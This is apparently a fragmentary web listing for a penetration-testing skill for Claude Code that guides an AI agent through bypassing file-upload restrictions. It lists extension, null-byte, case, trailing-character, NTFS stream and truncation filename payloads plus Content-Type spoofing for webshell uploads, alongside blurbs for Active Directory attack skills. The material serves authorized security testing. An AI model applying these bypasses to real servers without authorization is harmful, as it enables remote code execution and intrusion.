acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Guide file upload restriction bypass during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill file-upload-bypass --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/file-upload-bypassContext preview
The summary Claude sees to decide when to auto-load this skill.
Guide file upload restriction bypass during authorized penetration testing.
name: file-upload-bypass description: > Guide file upload restriction bypass during authorized penetration testing. keywords: - file upload bypass - upload shell - webshell upload - extension bypass - upload filter bypass - magic byte bypass - content-type bypass - upload RCE - unrestricted file upload - image upload exploit - upload polyglot - .htaccess upload - web.config upload - double extension - zip null byte - zip filename truncation - zip header mismatch tools: - burpsuite - exiftool - ffuf opsec: medium
You are helping a penetration tester bypass file upload restrictions to achieve code execution or other impact on the target server. The application has a file upload feature with some form of validation that needs to be circumvented. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
(Apache/IIS/Nginx), where uploaded files land, whether they're directly accessible via URL
If not already provided, determine: 1. **Server stack** — PHP/ASP.NET/JSP/Node/Python (check headers, error pages, default files) 2. **Web server** — Apache/IIS/Nginx (response headers, default error pages) 3. **Validation type** — what gets rejected? Try uploading:
4. **Upload location** — where do files land? Can you access them directly via URL? 5. **Processing** — does the server resize images, rename files, strip metadata?
Understanding which validations are in place determines which bypass to use. Skip if context was already provided.
The most common restriction. Try these in order of reliability.
Upload the same payload with different extensions for the target language:
# PHP (try each — server config determines which execute) .php .php5 .php7 .phtml .pht .phar .phps .pgif .inc .hphp .module .shtml # ASP/ASPX .asp .aspx .ashx .asmx .config .cer .asa .cshtml .vbhtml # JSP .jsp .jspx .jsw .jsv .jspf .do .action # Coldfusion .cfm .cfml .cfc .dbm # Perl .pl .pm .cgi
Exploit misconfigured servers that check only the last extension but execute based on the first recognized one:
shell.php.jpg # Apache may execute as PHP if AddHandler is set shell.php.png # Same principle shell.asp;.jpg # IIS < 7.0 path parameter confusion shell.aspx;1.jpg # IIS semicolon truncation shell.php.xxxxx # Apache — unrecognized final ext, falls back to .php
**Reverse double extension** (Apache with misconfigured `AddHandler`):
shell.jpg.php # Executes as PHP when AddHandler matches .php anywhere
Works on older systems (PHP < 5.3.4, some Java implementations) for direct uploads:
shell.php%00.jpg # URL-encoded null byte shell.php\x00.jpg # Literal null byte in multipart data shell.php%00.png%00.jpg
**Important**: Null bytes in direct upload filenames require old PHP, but null bytes inside **ZIP entry filenames** work against modern PHP because truncation happens at the filesystem/extraction level, not PHP string handling. See Step 6 → ZIP Null Byte Filename Truncation.
Bypass case-sensitive blacklists:
shell.pHp shell.Php shell.pHP5 shell.PhAr shell.aSp shell.aSpX shell.AsHx shell.jSp shell.jSpX
Bypass string-matching filters:
shell.php%20 # Trailing space (Windows strips it) shell.php%0a # Trailing newline shell.php%0d%0a # CRLF shell.php. # Trailing dot (Windows normalizes) shell.php...... # Multiple dots shell.php/ # Trailing slash shell.php.\ # Trailing backslash (Windows)
shell.asp::$data # Bypasses extension check, IIS serves as ASP shell.aspx::$data shell.php::$data
Linux max filename: 255 bytes. Windows: 236 bytes. Craft a name where truncation removes the safe extension:
# 232 A's + .php + .gif — truncation drops .gif on Windows AAAA[x232].php.gif
Unicode character `U+202E` reverses display order:
shell.%E2%80%AEphp.jpg # Displays as shell.gpj.php in some contexts
Change the `Content-Type` header in the upload request to an allowed MIME type:
Content-Type: image/png Content-Type: image/jpeg Content-Type: image/gif
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…